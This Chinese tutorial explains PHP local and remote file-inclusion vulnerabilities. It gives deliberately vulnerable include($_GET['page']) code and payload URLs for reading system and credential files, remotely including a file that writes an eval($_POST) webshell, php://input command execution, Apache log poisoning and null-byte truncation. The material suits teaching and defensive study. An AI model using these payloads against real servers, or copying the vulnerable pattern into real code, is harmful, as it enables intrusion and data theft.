程序开发人员通常会把可重复使用的函数写到单个文件中,在使用其它函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含
程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞
PHP包含
php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别
require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
include找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
include_once:此语句和include雷系,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含
require_once 此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含
文件包含示例
PHP中的文件包含分为本地包含和远程包含。
服务器环境为:
PHP 5.2.14
Mysql 5.1
Apache 2.0.63 (Win32)
1. 本地包含
ArrayUtil.php 文件提供了字符串操作函数
<?php
function PrintArr($arr,$sp="-->",$lin="<br/>") {
foreach($arr as $key => $value) {
echo "$key $sp $value $lin" ;
}
}
...
...
?>
Index.php对ArrayUtil.php进行包含,并且使用PrintArr函数
<?php
include("ArrayUtil.php") //包含ArrayUtil.php
$arr=array("张三","李四","王五");
PrintArr($arr,"==>"); //使用ArrayUtil.php中的PrintArr函数
?>
Index.php文件执行结果正常
0 ==> 张三
1 ==> 李四
2 ==> 王五
下面再看一个例子,phpinfo.txt是一个正常的文本文件,单文件内容却是符合php语法的代码
<?php
phpinfo();
?>
在Index.php文件中包含phpinfo.txt,代码如下:
<?php
include("phpinfo.txt"); //包含txt文件
?>
在浏览器访问Index.php却显示phpinfo内容,之后改变文件扩展名为:jpg,rar,xxx,doc等进行测试发现都可以显示phpindo信息。由此,只要文件符合PHP语法规范,那么任何扩展名都可以被PHP解析。
2. 远程包含
需要确定PHP是否开启远程包含选项 在php.ini文件中修改
allow_url_include=Off //把Off改为On
http://www.2cto.com/根目录下存在php.txt
<?php
echo "Hello World";
?>
Index.php代码
<?php
include($_GET['page']);
?>
访问:
http://www.xxser.com/Index.php?page=http://www.2cto.com/php.txt
文件包含漏洞
<?php
if(isset($_GET['page'])) {
include $_GET['page'];
} else {
include 'home.php';
}
?>
PHP前台代码如下:
<a href="Index.php?page=main.php">主页</a>
<a href="Index.php?page=news.php">新闻</a>
<a href="Index.php?page=down.php">下载</a>
攻击者不会乖乖的按照程序指定好的规则去访问,如:http://www.xxser.com/index.php?page=xxx.php
访问上述URL会包含xxx.php,但xxx.php在服务器端不存在,所以会出现以下警告,暴露网站的绝对路径
Warning: include(xxx.php) [function.include]: failed to open stream: No such files or directory in F:\php\index.php on line 4
...
PHP文件包含利用
(1). 读取敏感文件
访问:
http://www.xxser.com/index.php?page=/etc/password
如果目标主机文件存在,并切有相应的权限,就可以读出文件的内容。反之,会得到一个类似与: open_basedirrestriction in effect的警告
常见敏感信息如下:
win:
C:\boot.ini //查看系统版本
C:\windows\system32\instsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/extra/httped-vhosts.conf //虚拟网络设置
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/php5/lib/php.ini //php相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.conf //Mysql配置文件
(2). 远程包含Shell
如果目标主机的allow_url_fopen是激活的,就可以尝试远程包含一句话木马,如: http://www.2cto.com/echo.txt
代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval ($_POST[xxser]);?>")?>
访问:
http://www.xxser.com/Index.php?page=http://www.2cto.com/echo.txt,
将会在Index.php所在的目录下生成shell.php
(3). 本地包含配合文件上传
很多网站通常会提供文件上传的功能,比如:上传头像、文档等。假设已经上传一句话图片木马到服务器,路径为:
/uploadfile/201363.jpg
图片代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
访问URL:
http://www.xxser.com/Index.php?page=./iploadfile/201363.jpg,
包含这张图片,将会在Index.php所在的目录中生成shell.php
(4). 使用PHP封装协议
PHP带有很多内置的URL风格的封装协议,,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
file:// 访问本地文件系统
http:// 访问HTTP(s)网址
php:// 访问输入/输出流
zlib:// 压缩流
data:// 数据
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
使用封装协议读取PHP文件
使用PHP封装协议内置封装协议可以读取PHP文件。
http://www.xxser.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php5/lib/php
得到base64加密的php源码
写入php文件
使用php://input执行php语句,但使用这条语句时需要注意: php://input受限于allow_url_include。
构造URL:
http://www.xxser.com/index.php?page=php://input,
并且提交数据为: <?php system ('net user');?>
如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']);?>")?>将会在index.php所在目录下生成shell.php
(5). 包含Apahce日志文件
Apache运行后一般默认生成两个日志文件,一个是access.log和error.log,Apache访问日志文件记录了客户端的每次请求及服务器响应的相关信息,例如,当我们请求Index.php时,Apache就会记录我们的操作,并且写到访问日志文件access.log中
当访问一个不存在的资源时,Apache日志同样会记录
这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件时,就可以去访问URL: http://www.xxser.com/<?php phpinfo();?>.Apache会记录请求"<?php phpinfo();?>"
并写到accsee.log文件中,这时再去包含Apache的日志文件,就可以利用包含漏洞。
但实际是不可行的,因为在访问URL后一句话木马在日志文件里变形了
127.0.0.1 - - [04/Jun/2013:15:04:22 +0800] "GET /%3C?php%20phpinfo();)?%3E HTTP/1.1" 403 291
PHP代码中的"<,>,空格"都被浏览器转码了,这样就无法利用Apache包含漏洞。
但可以通过Burp绕过编码
再利用accsee去包含accsee.log,即可成功执行其中的PHP代码
在使用Apache日志文件包含时,首先需要确定Apache的日志路径,否则即使攻击者将PHP写入日志文件,也无法包含
(6). 截断包含
很多程序员认为PHP中的包含漏洞比较好修复,固定扩展名即可
<?php
if(isset($_GET['page'])) {
include $_GET['page'].".php";
} else {
include 'home.php';
}
?>
当进行文件包含时,不需要传输文件扩展名,这样就可以变相的修复包含漏洞
假设上传一句话图片木马文件的路径为/uploadfile/20130606.jpg,当包含这样的图片。URL: HTTP://www.xxser.com/index.php?page=./uploadfile/20130606.jpg,在PHP却会包含/uploadfile/20130606.jpg.php,而20130606.jpg.php是不存在的,使得包含漏洞无法利用
攻击者可以使用截断的方法突破代码
URL:
http://www.xxser.com/index.php?page=1.jpg,
1.pg代码为<?php phpinfo();?>
会出现以下错误
Warning: include(1.jpg.php) [function.include]: failed to open stream: No such file or directory in ...
因为找不到 1.jpg.php,所以无法包含,现在输入:
http://www.xsser.com/index.php?page=1.jpg%00
结果返回phpinfo()的信息
这种方法只适用于magic_quotes_gpc=Off时,开启时%00会被转义。